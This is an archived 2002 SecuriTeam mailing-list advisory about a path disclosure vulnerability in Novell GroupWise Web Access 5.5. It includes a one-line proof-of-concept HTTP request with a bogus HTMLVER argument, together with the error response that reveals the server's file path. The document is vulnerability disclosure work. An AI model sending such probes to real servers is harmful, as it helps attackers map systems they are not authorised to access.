[NEWS] Novell GroupWise Web Access Path Disclosure Vulnerability (HTMLVER)
From: support@securiteam.comDate: 03/02/02
- Previous message: support@securiteam.com: "[NEWS] Weak Password Storage in Demarc (Commercial Snort Front-end)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Sat, 2 Mar 2002 19:08:46 +0100 (CET)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
Novell GroupWise Web Access Path Disclosure Vulnerability (HTMLVER)
------------------------------------------------------------------------
SUMMARY
<http://www.novell.com/products/groupwise/> Novell GroupWise is the
premier communication and collaboration tool for the one Net environment.
A security vulnerability in the product allows attackers to reveal the
true path where files are stored.
DETAILS
Vulnerable systems:
GroupWise Web Access 5.5 (And may be other.)
If an attacker submits a web request containing unexpected arguments for
script variables, an error message will be displayed containing the path
to the webroot directory of the server running the GroupWise Web Access.
Exploit:
GET /cgi-bin/GW5/GWWEB.EXE?GET-CONTEXT&HTMLVER=AAA HTTP/1.0
HTTP/1.1 200 Document Follows
Date: Wed, 27 Feb 2002 22:27:08 GMT
Server:
MIME-version: 1.0
Content-type: text/html
Connection: close
Could not find file
SYS:\NOVONYX\SUITES~1\CGI-BIN\GW5\US\AAA\LOGIN.HTM
ADDITIONAL INFORMATION
The information has been provided by <mailto:ts@securityoffice.net> Tamer
Sahin.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NEWS] Weak Password Storage in Demarc (Commercial Snort Front-end)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
